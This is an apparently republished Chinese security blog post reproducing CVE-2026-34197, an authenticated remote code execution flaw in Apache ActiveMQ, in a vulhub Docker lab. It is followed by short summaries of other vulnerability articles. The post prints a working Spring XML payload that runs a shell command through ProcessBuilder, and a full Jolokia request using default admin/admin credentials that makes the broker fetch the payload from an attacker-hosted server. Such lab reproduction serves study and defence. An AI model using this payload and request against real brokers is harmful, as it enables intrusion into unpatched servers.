CVE复现|CVE-2026-34197漏洞复现"

admin 2026-10-20 12:17:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CVE复现 | CVE-2026-34197漏洞复现

原创

LRT凌日
LRT凌日

凌日网络与信息安全团队LapR1skT

2026年6月10日 12:00
重庆

在小说阅读器读本章

去阅读

漏洞逻辑

该漏洞是Apache ActiveMQ 5.19.4版本之前以及6.0.0至6.2.3版本之前存在的一个远程代码执行漏洞。攻击者通过构造精心的vm://传输url,其中包含控制springXML配置文件的参数,当ActiveMQ处理url时,会获取并解析远程XML配置文件,从而执行任意代码。
Tip:由于这个漏洞是和CVE-2024-32114(未授权访问)共同组成RCE,但是CVE-2026-34197是一个认证后的漏洞,所以后续直接使用默认的admin/admin进行攻击

受影响的ActiveMQ版本

所有 5.0 ~ 5.19.3 全部受影响(版本<5.19.4)

1. < 6.0.0 ~ 6.2.2

环境配置

我这里使用的是vulhub中的CVE-2026-34197的docker-compose.yml文件

1. docker-compose.yaml
2. services:
3. activemq:
4. image: vulhub/activemq:6.2.2
5. ports:
6. \"61616:61616\"
7. \"8161:8161\"
8. \"5005:5005\"

搭建镜像

cd到存放CVE-2026-34197文件夹的地址打开终端,执行命令

1. docker compose up -d

漏洞验证

01

等待拉取成功进入Apache ActiveMQ

02

创建poc.xml文件并在该目录下启动python HTTP服务器

poc.xml

1. <?xml version=\"1.0\" encoding=\"UTF-8\"?>
2. <beansxmlns=\"http://www.springframework.org/schema/beans\"
3. xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
4. xsi:schemaLocation=\"http://www.springframework.org/schema/beans
5. http://www.springframework.org/schema/beans/spring-beans.xsd\">
6. <beanid=\"exec\"class=\"java.lang.ProcessBuilder\"init-method=\"start\">
7. <constructor-arg>
8. <list>
9. <value>bash</value>
10. <value>-c</value>
11. <value><![CDATA[id > /tmp/success]]></value>
12. </list>
13. </constructor-arg>
14. </bean>
15. </beans>

启动服务器端口为8000

python -m http.server 8000

03

BP抓包修改发包内容

修改后的内容为(不要使用校园网)

1. POST /api/jolokia/ HTTP/1.1
2. Host: localhost:8161
3. Content-Type: application/json
4. Authorization:BasicYWRtaW46YWRtaW4=
5. Content-Length:237
6. {
7. \"type\":\"exec\",
8. \"mbean\":\"org.apache.activemq:type=Broker,brokerName=localhost\",
9. \"operation\":\"addNetworkConnector(java.lang.String)\",
10. \"arguments\":[\"static:(vm://evil?brokerConfig=xbean:http://YOUR-IP:8000/poc.xml)\"]
11. }

04

查看HTTP Server状态以及验证文件是否写入

由上图可知我们的poc.xml文件也是成功被执行,之后我们可以选择打开docker容器查看success文件是否被写入,也可以在命令行查看

输入docker compose exec activemq cat /tmp/success

docker容器内部查询

success写入成功,复现成功

参考文章

https://blog.csdn.net/weixin\_55992263/article/details/160800132

https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2026-34197/README.zh-cn.md

vulhub

源文件:https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2026-34197

免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

CVE复现|CVE-2026-34197漏洞复现" 网络安全文章

CVE复现|CVE-2026-34197漏洞复现"

本文详细复现了ApacheActiveMQCVE-2026-34197远程代码执行漏洞,该漏洞影响5.19.4之前版本及6.0.0-6.2.2版本。攻击者通过构造包含恶意SpringXML配置的vm://传输URL,结合Jolokia接口实现认证后RCE。文档提供了完整的Docker环境搭建、POC.xml文件编写、BurpSuite攻击配置及结果验证步骤,成功演示了命令执行过程。
Redis严重漏洞可能允许攻击者执行代码并劫持服务器" 网络安全文章

Redis严重漏洞可能允许攻击者执行代码并劫持服务器"

Redis严重漏洞CVE-2026-23631(DarkReplica)利用复制子系统中的释放后使用(UAF)条件,可使经身份验证的攻击者通过滥用slaveof命令、操纵同步过程及触发Lua函数引擎中的竞态条件,最终实现远程代码执行并完全控制服务器。Redis官方已于2026年5月5日发布补丁修复,建议受影响组织立即更新补丁,并限制复制配置、关闭不必要的Lua功能以降低风险。
Ghost-Sender漏洞使得ExchangeOnline中的发件人欺骗成为可能" 网络安全文章

Ghost-Sender漏洞使得ExchangeOnline中的发件人欺骗成为可能"

微软ExchangeOnline中存在名为Ghost-Sender的配置漏洞,允许攻击者绕过SPF、DKIM和DMARC验证,伪造任意发件人向目标租户内收件人发送邮件。该漏洞利用混合模式下外部MX记录导致的内置过滤绕过,微软将其定性为`已知架构限制`而非产品漏洞。建议通过部署特定连接器或创建邮件流规则进行缓解,目前修复责任由管理员承担。
LiteLLM远程代码执行漏洞已被利用,攻击者可执行命令" 网络安全文章

LiteLLM远程代码执行漏洞已被利用,攻击者可执行命令"

威胁行为者正积极利用开源AI代理网关LiteLLM中未经身份验证的远程代码执行漏洞,通过链接CVE-2026-42271命令注入与CVE-2026-48710身份验证绕过漏洞实现主机控制。该漏洞链影响LiteLLM1.74.2至1.83.6及Starlette1.0.0及更早版本,CVSS评分为10.0。建议立即升级至LiteLLM1.83.7与Starlette1.0.1,或通过阻断特定端点、限制网络访问、轮换凭证等措施缓解风险。
评论:0   参与:  0